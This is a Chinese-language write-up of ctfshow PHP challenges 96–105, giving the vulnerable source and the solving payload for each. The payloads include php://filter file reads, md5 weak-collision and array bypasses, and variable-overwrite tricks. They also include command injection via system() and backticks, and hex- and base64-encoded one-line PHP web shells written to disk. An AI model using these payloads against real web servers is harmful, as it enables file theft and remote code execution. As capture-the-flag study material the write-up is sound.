总结

  1. 1. 96的文件名替代可以利用各种伪协议和目录穿越
  2. 2. 97 104 md5系列
  3. * 弱碰撞 利用0e215646=0
  4. * 数组绕过 强碰撞
  5. 3. 98 105 变量覆盖
  6. 考脑洞,想着办法弹flag
  7. 4. is_numeric的十六进制很难,但是有感觉总结不出啥
  8. *php5版本 is_numeric识别16进制
  9. *php7版本 is_numberic不识别16进制
  10. *利用base64hex2bin写入文件
  11. 5. 反射类的使用感觉应该不多
  12. and和&&的区别
  13. <?php
  14. $a = true and false and false;
  15. $b = true && false && false;
  16. var_dump($a); #bool(true)
  17. echo "\r\n";
  18. var_dump($b); #bool(false)
  19. ?>

96 文件名替代

源码

  1. highlight_file(__FILE__);
  2. if(isset($_GET['u'])){
  3. if($_GET['u']=='flag.php'){
  4. die("no no no");
  5. }else{
  6. highlight_file($_GET['u']);
  7. }
  8. }

这题没想到考啥,结果考了一个php的路径问题,方法很多
payload

  1. ./flag.php
  2. /var/www/html/flag.php
  3. file:///var/www/html/flag.php
  4. php://filter/read=convert.base64-encode/resource=flag.php

97 md5 数组绕过

源码

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. if (isset($_POST['a']) and isset($_POST['b'])) {
  5. if ($_POST['a'] != $_POST['b'])
  6. if (md5($_POST['a']) === md5($_POST['b']))
  7. echo $flag;
  8. else
  9. print 'Wrong.';
  10. }
  11. ?>

md5的绕过,在本地环境调试一下,如果md5加密的是一个数组,就会报出warning程序会继续执行
直接传两个数组

98 变量覆盖

源码

  1. <?php
  2. include("flag.php");
  3. $_GET?$_GET=&$_POST:'flag';
  4. $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
  5. $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
  6. highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
  7. ?>

这里有一个php的语法糖&
第一个$_GET的理解,如果上传了$_GET,那么$_GET会被&$_POST覆盖
最后一行可以理解为如果$_GET上传了一个HTTP_FLAG的值等于flag那么就会显示flag的源码
这种题目最好在本地环境里尝试一下,才能理解变量覆盖
payload

  1. GETHTTP_FLAG=1
  2. POSTHTTP_FLAG=flag

99 in_array是弱比较

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. $allow = array();
  4. for ($i=36; $i < 0x36d; $i++) {
  5. array_push($allow, rand(1,$i));
  6. }
  7. if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
  8. file_put_contents($_GET['n'], $_POST['content']);
  9. }
  10. ?>

解释一下代码 for循环向$allow数组传入随机数
如果GET[‘n’]的值在数组中就会向以GET[‘n’]的值为文件名的文件写入post的内容
弱类型比较,’1.php’存在于array(1,2,3)
因为每次1都会从1到多少,生成随机数所以1的可能性最大

100-101 and和&&的区别 反射类的使用

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. include("ctfshow.php");
  4. //flag in class ctfshow;
  5. $ctfshow = new ctfshow();
  6. $v1=$_GET['v1'];
  7. $v2=$_GET['v2'];
  8. $v3=$_GET['v3'];
  9. $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
  10. if($v0){
  11. if(!preg_match("/\;/", $v2)){
  12. if(preg_match("/\;/", $v3)){
  13. eval("$v2('ctfshow')$v3");
  14. }
  15. }
  16. }
  17. ?>

and和&&的区别

  1. <?php
  2. $a = true and false and false;
  3. $b = true && false && false;
  4. var_dump($a); #bool(true)
  5. echo "\r\n";
  6. var_dump($b); #bool(false)
  7. ?>

所以我们只要第一个数上传的是数字就ok了

反射类的使用

  1. <?php
  2. class CTF{
  3. public $a = "CTF is very fun!";
  4. const ctf = "so cool";
  5. public static $flag = "7708801314520";
  6. static function hello(){
  7. echo "hello ctfer</br>";
  8. }
  9. }
  10. $a = new ReflectionClass('CTF');
  11. var_dump($a);
  12. var_dump($a->getConstants()); //获取一组常量
  13. var_dump($a->getName()); //获取类名
  14. var_dump($a->getStaticProperties()); //获取静态属性
  15. var_dump($a->getMethods()); //获取类中的方法
  16. ?>

返回数据

  1. class ReflectionClass#1 (1) {
  2. public $name =>
  3. string(3) "CTF"
  4. }
  5. array(1) {
  6. 'ctf' =>
  7. string(7) "so cool"
  8. }
  9. string(3) "CTF"
  10. array(1) {
  11. 'flag' =>
  12. string(13) "7708801314520"
  13. }
  14. array(1) {
  15. [0] =>
  16. class ReflectionMethod#2 (2) {
  17. public $name =>
  18. string(5) "hello"
  19. public $class =>
  20. string(3) "CTF"
  21. }
  22. }

解题

预期,这里注意源码中第二个if是提醒你加;不是过滤;草!

  1. ?v1=1&v2=echo new ReflectionClass&v3=;

非预期

  1. 1.直接vardump加注释符
  2. v1=1&v2=var_dump($ctfshow)/*&v3=*/;
  3. 2.直接命令注入
  4. ?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;
  5. ?v1=1&v2=?><?php echo `ls`/*&v3=*/;

flag要解码

102 is_numeric 十六进制

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. $v1 = $_POST['v1'];
  4. $v2 = $_GET['v2'];
  5. $v3 = $_GET['v3'];
  6. $v4 = is_numeric($v2) and is_numeric($v3);
  7. if($v4){
  8. $s = substr($v2,2);
  9. $str = call_user_func($v1,$s);
  10. echo $str;
  11. file_put_contents($v3,$str);
  12. }
  13. else{
  14. die('hacker');
  15. }
  16. ?>

首先看到了call_user_func是一个调用函数的方法,所以$v1是我们想调用的函数
但是$v2这里我没有想到怎么利用,因为一定是要个数字,但是截取后,传到call_user_func()没啥用,看了wp,

  1. is_numeric函数
  2. php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。
  3. echo hex2bin("3c3f706870206576616c28245f504f53545b315d293b3f3e");
  4. //输出<?php eval($_POST[1]);?>

这样$v2的值就确定了,$v1也确定了,$v3写一个php文件就可以了
payload:

  1. get
  2. ?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=shell.php
  3. post
  4. ?v1=hex2bin

擦,看了一半,这道题是php7的环境,所以上面的解法没用,因为php7的环境下is_numeric不识别16进制

解题

现在想想,我们已经确定的有啥$v1=hex2bin,$v2应该是个纯数字,且经过substr后用hex2bin输出的应该是可以利用的代码,那么$v3是不是可以利用一下,没有思路继续题解
所以只能另想办法,要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

  1. get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
  2. post: v1=hex2bin

关键就是什么代码base64编码后再转为十六进制为全数字,网上找了一个

  1. $a='<?=`cat *`;';
  2. $b=base64_encode($a); // PD89YGNhdCAqYDs=
  3. $c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
  4. 输出 5044383959474e6864434171594473
  5. e的话会被认为是科学计数法,可以通过is_numeric检测。

太难了这东西,完全想不到

103 同上一道题

源码

个人感觉设计call_user_func(),我就没解出来过

  1. <?php
  2. highlight_file(__FILE__);
  3. $v1 = $_POST['v1'];
  4. $v2 = $_GET['v2'];
  5. $v3 = $_GET['v3'];
  6. $v4 = is_numeric($v2) and is_numeric($v3);
  7. if($v4){
  8. $s = substr($v2,2);
  9. $str = call_user_func($v1,$s);
  10. echo $str;
  11. if(!preg_match("/.*p.*h.*p.*/i",$str)){
  12. file_put_contents($v3,$str);
  13. }
  14. else{
  15. die('Sorry');
  16. }
  17. }
  18. else{
  19. die('hacker');
  20. }
  21. ?>

在上一道题的基础上,加了个正则,但是没啥子用,因为上一题就用了短标签不说了

104 md碰撞

源码

看了一下代码,除了问题,应该要判断一下v1和v2不相等,然后进行一个弱碰撞,md5加密后以0e开头都会识别为0

  1. highlight_file(__FILE__);
  2. include("flag.php");
  3. if(isset($_POST['v1']) && isset($_GET['v2'])){
  4. $v1 = $_POST['v1'];
  5. $v2 = $_GET['v2'];
  6. if(sha1($v1)==sha1($v2)){
  7. echo $flag;
  8. }
  9. }

解法一:数组绕过
解法二:md5弱碰撞

  1. <?php
  2. $a = md5('s1502113478a');
  3. $b = md5('s1885207154a');
  4. echo "\$a:".$a;
  5. echo "\r\n";
  6. echo "\$b:".$b;
  7. echo "\r\n";
  8. var_dump($a==$b);
  9. echo "\r\n";
  10. var_dump($a===$b);
  11. ?>
  12. 输出结果
  13. $a:0e861580163291561247404381396064
  14. $b:0e509367213418206700842008763514
  15. bool(true)
  16. bool(false)

105 $$变量覆盖

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. include('flag.php');
  4. error_reporting(0);
  5. $error='你还想要flag嘛?';
  6. $suces='既然你想要那给你吧!';
  7. foreach($_GET as $key => $value){
  8. if($key==='error'){
  9. die("what are you doing?!");
  10. }
  11. $$key=$$value;
  12. }
  13. foreach($_POST as $key => $value){
  14. if($value==='flag'){
  15. die("what are you doing?!");
  16. }
  17. $$key=$$value;
  18. }
  19. if(!($_POST['flag']==$flag)){
  20. die($error);
  21. }
  22. echo "your are good".$flag."\n";
  23. die($suces);
  24. ?>

看了一眼应该是一个变量的覆盖
解法一:利用suces die出 flag

  1. 首先get上传suces=flag,那么在getforeach的时候就产生了一个变量覆盖$key=suces $value=flag
  2. 所以 $$key -> $suces $$value->$flag
  3. $suces存储的就是flag的值,但是在最后一个if判断的时候又会die
  4. 所以还要上传一个flag=
  5. 这样的话$flag的值就为空了
  6. 我们没有post上传,$_POST['flag']==$flag是相等的 拿到flag

解法二:利用error弹出flag

  1. geta=flag,所以会有$a来暂存flag的值,接着post上传error=a,所以a的值变成flag的值
  2. 在下一个if中直接弹出flag